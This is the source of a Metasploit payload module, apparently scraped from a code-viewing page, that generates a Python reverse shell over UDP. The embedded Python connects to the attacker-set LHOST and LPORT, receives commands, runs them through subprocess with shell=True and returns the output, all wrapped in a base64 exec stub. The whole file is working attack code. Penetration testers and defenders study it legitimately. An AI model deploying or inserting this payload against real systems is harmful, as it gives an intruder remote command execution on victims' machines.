Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6

7
module MetasploitModule
8

9
  CachedSize = :dynamic
10

11
  include Msf::Payload::Single
12
  include Msf::Payload::Python
13
  include Msf::Sessions::CommandShellOptions
14

15
  def initialize(info = {})
16
    super(merge_info(info,
17
      'Name'          => 'Command Shell, Reverse UDP (via python)',
18
      'Description'   => 'Creates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.',
19
      'Author'        => 'RageLtMan <rageltman[at]sempervictus>',
20
      'License'       => MSF_LICENSE,
21
      'Platform'      => 'python',
22
      'Arch'          => ARCH_PYTHON,
23
      'Handler'       => Msf::Handler::ReverseUdp,
24
      'Session'       => Msf::Sessions::CommandShell,
25
      'PayloadType'   => 'python',
26
      'Payload'       =>
27
        {
28
          'Offsets' => { },
29
          'Payload' => ''
30
        }
31
      ))
32
  end
33

34
  #
35
  # Constructs the payload
36
  #
37
  def generate(_opts = {})
38
    super + command_string
39
  end
40

41
  #
42
  # Returns the command string to use for execution
43
  #
44
  def command_string
45
    cmd = <<~PYTHON
46
      import socket as s
47
      import subprocess as r
48
      so=s.socket(s.AF_INET,s.SOCK_DGRAM)
49
      o=b''
50
      while True:
51
      	so.sendto(o,('#{datastore['LHOST']}',#{datastore['LPORT']}))
52
      	d=so.recv(1024)
53
      	if len(d)==0:
54
      		break
55
      	p=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE)
56
      	o=p.stdout.read()+p.stderr.read()
57
    PYTHON
58

59
    py_create_exec_stub(cmd)
60
  end
61

62
end
63

64

65